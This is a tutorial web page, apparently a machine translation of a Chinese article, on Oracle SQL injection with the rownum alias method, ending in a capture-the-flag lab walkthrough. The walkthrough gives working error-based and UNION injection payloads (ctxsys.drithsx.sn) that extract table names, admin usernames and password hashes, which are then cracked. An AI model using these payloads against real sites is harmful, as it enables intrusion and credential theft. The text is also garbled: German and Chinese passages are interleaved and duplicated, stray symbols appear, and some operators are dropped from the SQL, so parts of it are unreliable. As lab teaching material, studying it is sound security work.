Heim  >  Artikel  >  Datenbank  >  Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion

Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion

WBOY
WBOYnach vorne
2022-05-07 11:52:542288Durchsuche

Dieser Artikel vermittelt Ihnen relevantes Wissen über Oracle, der hauptsächlich die detaillierte Erklärung der Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion einführt, einschließlich der grundlegenden Aussagen von Oracle-Abfrageinformationen, der Eigenschaften von Rownum usw., wie folgt Schauen Sie es sich gemeinsam an. Ich hoffe, es wird für alle hilfreich sein.

Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion

Empfohlenes Tutorial: „Oracle Video Tutorial

1. Einführung in Oracle Database

Oracle Database, auch bekannt als Oracle RDBMS oder kurz Oracle. Diese Datenbank ist ein Produkt von Oracle. Die Nutzung ist kostenlos, der Dienst wird jedoch im Allgemeinen von großen Unternehmen in China, wie Banken, Finanzinstituten und Unternehmen, genutzt Big-Data-Industrie.

Zusammenfassung der Oracle-Funktionen:
1. Oracle muss beim Verwenden der Abfragesprache dem Tabellennamen folgen. Dies ähnelt Access. Wenn keine Tabelle vorhanden ist, können Sie die Dual-Tabelle von Oracle verwenden. Oracle garantiert, dass es immer nur einen Datensatz in Dual gibt, der zur Bildung der Syntax verwendet wird. Wenn Sie ihn direkt abfragen, wird nur ein Datentyp an der entsprechenden Position angezeigt Die Spalte in der Tabelle kann auch verwendet werden, um einige Datentyppositionen zu ersetzen, die nicht schnell erraten werden können. Dies ist ähnlich wie bei SQL Server. 3. Oracle unterscheidet sich von MySQL. Es gibt keine Beschränkung beim Paging, aber die Verschachtelung von Abfragen auf drei Ebenen erfolgt. 4. Die einzeiligen Kommentarsymbole von Oracle sind mehrzeilige Kommentarsymbole Tabellen. Diese Systemtabellen speichern die Tabellennamen und Spaltennamen der Systemdatenbank, z. B. user_tab_columns, all_tab_columns, all_tables, user_tables. Die Systemtabelle speichert alle Tabellen und Spaltennamen des Benutzers, wobei table_name den Tabellennamen im System darstellt ., Column_name ist der im System vorhandene Spaltenname geschwächt, Benutzer wurden gestärkt, und sie unterscheiden sich hauptsächlich durch Benutzer. Das einfache Verständnis besteht darin, dass der aktuelle Benutzername dem Bibliotheksnamen in anderen Datenbanken entspricht.



2. Einführung in Aliasing

(1) Grundlegende Anweisungen für Oracle-Abfrageinformationen

select * from all_tables Alle Tabellen abfragen

select * from user_tables Alle abfragen Tabellen des aktuellen Benutzers

select * from all_tab_columns Abfrage aller Felder

select * from user_tab_columns Abfrage der Felder des aktuellen Benutzers

select * from v$version Überprüfen Sie die aktuell verwendete Oracle-Version <code>select * from all_tables 查询所有的表
select * from user_tables 查询当前用户的所有表
select * from all_tab_columns 查询所有字段
select * from user_tab_columns 查询当前用户的字段
select * from v$version 查当前使用的Oracle版本

(二)rownum的特性

由于在Oracle中不存在limit,所以查询特定的数据需要用rownum来进行选择。比如先输入:
select * from all_tables
Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion
看到页面输出了相当多的数据,但是大部分都不是我们需要的,那么假设我只想要前4条数据,那么修改语句如下:
select * from all_tables where rownum<br> (2) Eigenschaften von Rownum <img src="https://img.php.cn/upload/article/000/000/067/a290750748b99d965d0baa9b5c7497da-1.png" alt="Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion"><br> Da es in Oracle keine Begrenzung gibt, müssen Sie Rownum zur Auswahl verwenden, wenn Sie bestimmte Daten abfragen. Geben Sie beispielsweise zuerst Folgendes ein: <br><code>select * from all_tables

„Bildbeschreibung🎜 Wir sehen, dass die Seite viele Daten ausgibt, aber die meisten davon sind nicht das, was wir brauchen. Nehmen wir also an, ich möchte nur die ersten 4 Daten, dann ändern Sie die Anweisung wie folgt : 🎜select * from all_tables where rownum🎜🎜🎜 Wenn wir also nur das zweite Datenelement benötigen, können wir dort eingeben, wo rownum=2 ist? Kippen. Dies liegt daran, dass rownum nicht der Feldname einer Tabelle ist, sondern die Zeilennummer des Abfrageergebnisses. Jedes Mal, wenn die Abfrage ein Ergebnis enthält, werden die erste Zeile, die zweite Zeile, die dritte Zeile usw. standardmäßig verwendet. Diese Rownum ist die Zeilennummer, die nicht zu einem bestimmten Feld gehört, daher ist Rownum ein Pseudobeispiel, das immer mit 1 beginnt, Rownum>n. Wenn n>1 ist, kann die Bedingung nicht festgelegt werden. Für diese Situation können zwei Methoden verwendet werden, nämlich die Ungleichheitsmethode und die Alias-Methode. 🎜 Bei der Verwendung von Abfrageanweisungen bitten wir häufig darum, die ersten n Datensätze in der Tabelle oder die mittleren Datensätze zurückzugeben. Beispielsweise müssen wir in einer großen Tabelle (vorausgesetzt, es gibt 1 W Datenelemente) den 1000. bis 1005. Datensatz abfragen. Was sollen wir angesichts einer solchen Anfrage tun? Jede Datenbank hat ihre eigene Lösung. In MySQL wird beispielsweise der Befehl „limit“ zum Auslagern der Ergebnisse verwendet, in MSSQL wird TOP zum Auslagern der Ergebnisse verwendet, und Oracle verwendet hauptsächlich den Befehl „rownum“, um dieses Problem zu lösen. Schauen wir uns an, wie bestimmte Daten in Oracle ausgegeben werden. 🎜<h2>(3) Ungleichheitsmethode</h2> <p>Geben Sie diesen Befehl in der Online-Oracle-Drill-Plattform ein (hier werden alle Felder des aktuellen Benutzers abgefragt): <br><code>select* from user_tab_columnsselect* from user_tab_columns
Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion
结果中显示了当前的所有表和和相应的字段名,假如我只想显示ADMIN表中的内容,可以输入:
select* from user_tab_columns where table_name='ADMIN'
Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion
假如我只想显示第二条数据,该怎么输入呢?直接加个条件rownum=2显然是不行的,这里就可以利用不等法来查询了:
select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME
Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion
从这里我们也可以看出,不等于法是存在弊端的,只有当数据量非常少时,才可以用这种方法。当数据量非常大时,就需要用到下面介绍的别名法了。

(四)别名法

来看一下这个语句:
select column_name,rownum n from user_tab_columns
Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion
这句话执行查询列名以后,会把查询结果从上到下从1开始按顺序进行编号,但是由于rownum本身不是字段,所以这里起了个别名为n。这样这个查询语句的作用就是:查询列名及每个列名对应的行号,并将行号统一存储在n这个字段里面。
注意这个时候虽然我们新建了一个字段n用来存储行号,但是此时如果马上在后面加上一个条件,比如where n=7是不行的,因为这条语句需要执行完才有n这个字段,所以想要用n这个字段来查询信息的话,就需要把这个语句作为一个整体,放在其他语句的子查询里,这样句子执行完了,有n这个字段了,然后才能被其他句子使用。
现在我们先查询ADMIN表里面有几个字段,这么输入:
select column_name,rownum n from user_tab_columns where table_name='ADMIN'Bildbeschreibung hier einfügen
Die Ergebnisse zeigen alle aktuellen Tabellen und entsprechenden Feldnamen, wenn ich nur Wenn Sie den Inhalt der ADMIN-Tabelle anzeigen möchten, kann ich Folgendes eingeben: Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektionselect* from user_tab_columns where table_name='ADMIN'
Bildbeschreibung hier einfügen
Wenn ich nur das zweite Datenelement anzeigen möchte, wie soll ich es eingeben? Es ist offensichtlich nicht möglich, die Bedingung rownum=2 direkt hinzuzufügen. Hier können Sie die Ungleichheitsmethode zur Abfrage verwenden:

select* from user_tab_columns where table_name='ADMIN' and COLUMN_NAME'UNAME Von hier aus können wir auch sehen, dass Die Ungleichheitsmethode hat Nachteile. Diese Methode kann nur verwendet werden, wenn die Datenmenge sehr klein ist. Wenn die Datenmenge sehr groß ist, muss die unten vorgestellte Aliasing-Methode verwendet werden. select columns_name,rownum n from user_tab_columnsBildbeschreibung hier einfügen Nach dem Ausführen des Abfragespaltennamens werden die Abfrageergebnisse in der Reihenfolge von oben nach unten nummeriert, beginnend mit 1, aber seit rownum selbst ist kein Feld, es wird hier mit dem Spitznamen n bezeichnet. Auf diese Weise besteht die Funktion dieser Abfrageanweisung darin, die Spaltennamen und die Zeilennummern abzufragen, die jedem Spaltennamen entsprechen, und die Zeilennummern einheitlich im n-Feld zu speichern. Beachten Sie, dass wir zu diesem Zeitpunkt zwar ein neues Feld n zum Speichern der Zeilennummer erstellt haben, es jedoch nicht funktioniert, wenn wir unmittelbar danach eine Bedingung hinzufügen, z. B. wenn n = 7, da diese Anweisung vor dem Feld ausgeführt werden muss n wird verfügbar sein. Wenn Sie also das n-Feld zum Abfragen von Informationen verwenden möchten, müssen Sie diese Anweisung als Ganzes in die Unterabfrage anderer Anweisungen einfügen. Auf diese Weise ist das n-Feld verfügbar , und dann kann es von anderen Sätzen verwendet werden. Lassen Sie uns nun abfragen, wie viele Felder es in der ADMIN-Tabelle gibt: Die Abfrageergebnisse hier erhalten zwei Feldnamen . . Die Zeilennummer ist der Alias ​​n, den wir verwendet haben. Das erste Feld ist also der tatsächliche Feldname und das zweite Feld ist der Alias ​​n, den wir verwendet haben. Das Ergebnis der Unterabfrage ist beispielsweise: FeldnameZeilennummeraa1bb
(4) Alias-Methode Sehen Sie sich diese Anweisung an:
select columns_name,rownum n from user_tab_columns where table_name='ADMIN'
🎜2🎜🎜 🎜🎜 cc🎜🎜3🎜🎜 🎜🎜dd 🎜🎜4🎜🎜🎜🎜

Dann geben Sie einfach Folgendes ein:
Wählen Sie * aus der Unterabfrage aus, wobei n=2 ist, und Sie können die Daten bb abrufen. Machen Sie für die gewünschten Daten einfach n gleich der entsprechenden Zahl.
Solange dieser Satz als Unterabfrage geschrieben ist und die externe Abfrageanweisung zum Abfragen der Ergebnisse dieser Unterabfrage verwendet wird, kann das zweite Feld mit der Einstellung n=2 abgerufen werden. Geben Sie daher Folgendes ein:
select * from (select columns_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2select * from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2
Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion
成功查询到第二个字段。
注意:别名法给rownum取名为n时,标准的写法是用rownum as n ,简洁一点是直接rownum n,中间用空格隔开即可。
查询字段的时候可以用别名法,那么查询表名的时候可以用吗?答案是肯定的。
举例:
select table_name,rownum n from user_tables
Detailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion
可见给表起别名和给字段起别名是一样的,用法实际上也差不多,这里不再赘述。


三、靶场实操

上面讲的只是理论基础,实际操作的时候就没那么容易了,我们找个靶场来实际操作一下看看。
以封神台为例,地址在http://o1.lab.aqlab.cn/?id=1

(一)判断是否SQL注入

进入靶场,看到地址栏有GET传参,当然是先试一下是否存在SQL输入了:
在id=1后面输入:
and 1=1 ,页面回显正常
and 1=2 ,页面回显异常
把id=1改成id=2-1,页面回显正常。
说明必然存在SQL注入。

(二)查询当前页面字段数

实战中,我们并不知道目标网站是什么数据库,所以何必管那么多,当成MYSQL来搞就好了,所以这里先查询字段数:
输入 order by 1 页面回显正常;
输入 order by 5 页面回显异常;
输入 order by 4 页面回显正常;
输入 order by 5Bildbeschreibung hier einfügen
Das zweite Feld wurde erfolgreich abgefragt.

Hinweis: Wenn die Alias-Methode zum Benennen von Rownum n verwendet wird, lautet die Standardschreibweise Rownum als n. Um es prägnanter zu machen, verwenden Sie einfach Rownum n, getrennt durch Leerzeichen.

Sie können die Alias-Methode beim Abfragen von Feldern verwenden, aber können Sie sie auch beim Abfragen von Tabellennamen verwenden? Die Antwort ist ja.

Beispiel:

select table_name,rownum n from user_tables

Bildbeschreibung hier einfügen

Es ist ersichtlich, dass das Aliasing der Tabelle dasselbe ist wie das Aliasing des Feldes. Die Verwendung ist tatsächlich ähnlich, daher werde ich hier nicht auf Details eingehen.


3. Praktischer Betrieb am Schießstand

Das Obige ist nur die theoretische Grundlage. Im tatsächlichen Betrieb ist es nicht so einfach, einen Schießstand zu finden. Am Beispiel von Fengshentai lautet die Adresse http://o1.lab.aqlab.cn/?id=1

(1) Bestimmen Sie, ob SQL-Injection vorliegt


Betreten Sie den Schießstand und prüfen Sie, ob ein GET-Parameter vorhanden ist in der Adressleiste. Versuchen Sie natürlich zunächst, ob eine SQL-Eingabe vorliegt:

Geben Sie nach id=1 ein:

und 1=1, das Seitenecho ist normal
und 1=2, das Seitenecho ist abnormal

Ändern Sie id= 1 bis id=2-1 ist das Seitenecho normal.

Das bedeutet, dass es eine SQL-Injection geben muss.


(2) Fragen Sie die Anzahl der Felder ab die aktuelle Seite

Im tatsächlichen Kampf wissen wir nicht, um welche Datenbank es sich bei der Zielwebsite handelt. Warum sollten wir uns also die Mühe machen, sie einfach als MYSQL zu behandeln, also fragen wir hier zuerst die Anzahl der Felder ab:

Geben Sie order ein um 1 und die Seite wird normal angezeigt; normal zurückkehren; Geben Sie order by 5 ein und die Seite wird abnormal zurückkehren.
Zeigt an, dass die Anzahl der Felder auf der aktuellen Seite 4 beträgt.

(3) Versuchen Sie eine gemeinsame Abfrage.

Geben Sie nach der ID=1 ein:

union all select 1,2,3,4

Die Seite gibt ein ungewöhnliches Echo zurück. Es scheint, dass die Datenbank definitiv nicht MySQL ist, also versuchen Sie, die Zahl auf Null zu ändern:

union all select null,null,null,null from dual
Die Seite wird normal wiedergegeben. Es scheint, dass die Zieldatenbank sehr strenge grammatikalische Anforderungen hat. Lassen Sie uns nun bestimmen, um welche Datentypen es sich bei den vier Feldern handelt. Geben Sie Folgendes ein:
union all select 111,null,null,null from dual
Die Seite gibt „normal“ zurück, was darauf hinweist, dass das erste Feld vom numerischen Typ ist. Drücken Sie Strg+U, um den Quellcode der Webseite anzuzeigen, suchen Sie nach 111 und sehen Sie keine offensichtliche Fehlausrichtung.

Versuchen Sie, dass die aktuelle Seite einen Fehler meldet, um festzustellen, ob eine Fehlausrichtung der Anzeige vorliegt:

and 1=2 union all select 111,null,null,null from dual
Es ​​ist keine offensichtliche Fehlausrichtung der Anzeige zu erkennen.

Geben Sie weiter Folgendes ein:

and 1=2 union all select 111,111,null,null from dual
Die Seite gibt eine Ausnahme zurück, die darauf hinweist, dass das zweite Feld keinen numerischen Typ hat.
Geben Sie weiter Folgendes ein:

and 1=2 union all select 111,'aa',null,null from dual

Die Seite gibt eine Ausnahme zurück, die darauf hinweist, dass das zweite Feld nicht vom Typ „String“ ist. Tatsächlich gibt es in der Oracle-Datenbank viele Datentypen, z. B. numerische Werte, Zeichenfolgen, Datumsangaben, Binärwerte und großen Text. Es ist ziemlich mühsam, sie einzeln auszuprobieren, daher werde ich sie hier überspringen. Dasselbe gilt für das dritte Feld. Es wurde festgestellt, dass es sich weder um eine Zahl noch um eine Zeichenfolge handelt und es keine offensichtliche Fehlausrichtung gibt.

Fragen Sie weiterhin das vierte Feld ab: 🎜
and 1=2 union all select 111,null,null,111111 from dual
🎜 und stellen Sie fest, dass auf der Seite eine neue Uhrzeit angezeigt wird. 🎜🎜🎜🎜 Wenn man eine Zeit wie diese sieht, muss man an einen Zeitstempel denken, denn Computer beginnen am 1. Januar 1970 ab 8 Uhr mit der Sekundenzählung. 🎜🎜 (4) Tabellennamen abfragen 🎜🎜 Verwenden Sie die Fehlerinjektionsfunktion, um Informationen abzufragen. Geben Sie Folgendes ein: 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
🎜 Hinweis: Die Fehlerinjektion kann nur eine Zeichenfolge anstelle einer Tabelle zurückgeben, daher muss es später ein Limit geben, nämlich rownum =1, nur Nehmen Sie eine Datenzeile und die 1 in den Klammern der Funktion kann durch etwas anderes ersetzt werden, entweder einen numerischen Wert oder eine Zeichenfolge. 🎜🎜🎜 Holen Sie sich den Tabellennamen 🎜ADMIN🎜🎜 Geben Sie weiter ein: 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name'ADMIN'))
🎜🎜🎜🎜 und erhalten Sie die zweite Tabelle 🎜NEWS🎜. 🎜 Als nächstes können Sie beim Abfragen anderer Tabellen nicht mehr die Ungleichheitsmethode verwenden. Verwenden Sie stattdessen die oben erwähnte Alias-Methode, um eine Basisanweisung zu erstellen, und ändern Sie dann den Wert von n, um den Namen der Tabelle zu ermitteln, die noch nicht vorhanden ist abgefragt: 🎜
and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables )where n =3))
🎜Bestimmen Sie endlich den aktuellen. Die Benutzertabellen sind: 🎜ADMIN, NEWS, MD5🎜🎜

(五)查询字段名

接下来查询字段,ADMIN表显然更可能有我们想要查询的信息,因此先查询ADMIN表的内容,输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=1))


得到第一个字段名为:UNAME
把n改为2继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=2))


得到第二个字段为UPASS
把n改为3,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=3))


得到第三个字段为MD5
把n改为4,继续输入:

and 1=ctxsys.drithsx.sn('a',(select column_name from (select column_name,rownum as n from user_tab_columns) where n=4))

没有结果了。可见ADMIN表中的字段为:UNAME、UPASS、MD5

(六)根据字段查询具体数据

字段和表名都有了,接下来查询具体的数据,为了方便,还是用别名法来查询:

and 1=ctxsys.drithsx.sn(1,(select UNAME from (select UNAME,rownum as n from ADMIN) where n=1))

注意报错函数的特殊性,因此这里不能用*来代替UNAME。
通过改变n的值可以得到UNAME中的全部用户名为:OCI、NF、QQ123。
用同样的方法继续查询UPASS字段的内容,输入:

and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum as n from ADMIN) where n=1))

改变n的值可以得到UPASS字段的三条记录分别为:
e10adc3949ba59abbe56e057f20f883e
2a61f8bcfe7535eadcfa69eb4406ceb9
654321
在cmd5.com中解密后结果分别为:
123456、未查到、654321

(七)提交flag

把每个md5值都提交到靶场,最终确定flag为:
2a61f8bcfe7535eadcfa69eb4406ceb9


四、小结

渗透测试人员在进行数据库注入时,总是会遇到查询指定数据的问题,对于不同的数据库虽然查询方法大同小异,但是很多细节如果没有搞好是很难完成渗透的,这就需要每一位渗透测试人员夯实理论基础,掌握每一种常用的方法,在面临实际问题的时候才能游刃有余。

本文重点介绍了Oracle数据库的特点以及注入时常用的别名法,分享了别名法在靶场中实操的过程,并分享了一个在线执行Oracle命令的平台希望能够为各位同行或爱好者解决相关问题提供参考。

推荐教程:《Oracle视频教程

Das obige ist der detaillierte Inhalt vonDetailliertes Beispiel für die Verwendung der Alias-Methode bei der Oracle-Datenbankinjektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen